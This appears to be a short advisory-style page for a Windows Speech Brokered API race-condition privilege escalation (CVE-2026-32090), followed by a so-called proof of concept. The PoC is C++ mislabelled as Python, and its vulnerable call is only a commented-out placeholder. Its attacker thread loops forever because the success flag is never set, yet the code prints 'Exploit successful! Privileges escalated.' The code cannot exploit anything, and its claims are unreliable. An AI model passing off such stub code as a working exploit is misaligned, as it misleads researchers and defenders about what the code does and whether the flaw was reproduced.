Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Speech Brokered Api allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
#include <thread>
// Conceptual PoC for Race Condition in Windows Speech Brokered API
// This code demonstrates the structure of a race condition exploit.
// Actual exploitation requires specific knowledge of the vulnerable API calls.
HANDLE hSharedResource = NULL;
volatile bool isExploited = false;
void AttackerThread() {
// Thread B: Maliciously modifies the shared resource state
while (!isExploited) {
// Attempt to manipulate the resource before Thread C uses it
// This is a simplified representation of the race window
// In a real scenario, this would involve specific API calls to Speech Brokered API
printf("[*] Attacker thread attempting to win race...\n");
// Simulate modification
Sleep(1);
}
}
void TriggerThread() {
// Thread A: Triggers the vulnerable operation in the API
// This calls the Windows Speech Brokered API function that lacks synchronization
printf("[*] Triggering vulnerable API call...\n");
// Hypothetical function call
// VulnerableSpeechApiFunction(hSharedResource);
}
int main() {
printf("[+] Starting PoC for CVE-2026-32090\n");
// Setup threads to create concurrency
std::thread t1(TriggerThread);
std::thread t2(AttackerThread);
t1.join();
t2.join();
if (isExploited) {
printf("[+] Exploit successful! Privileges escalated.\n");
} else {
printf("[-] Exploit failed.\n");
}
return 0;
}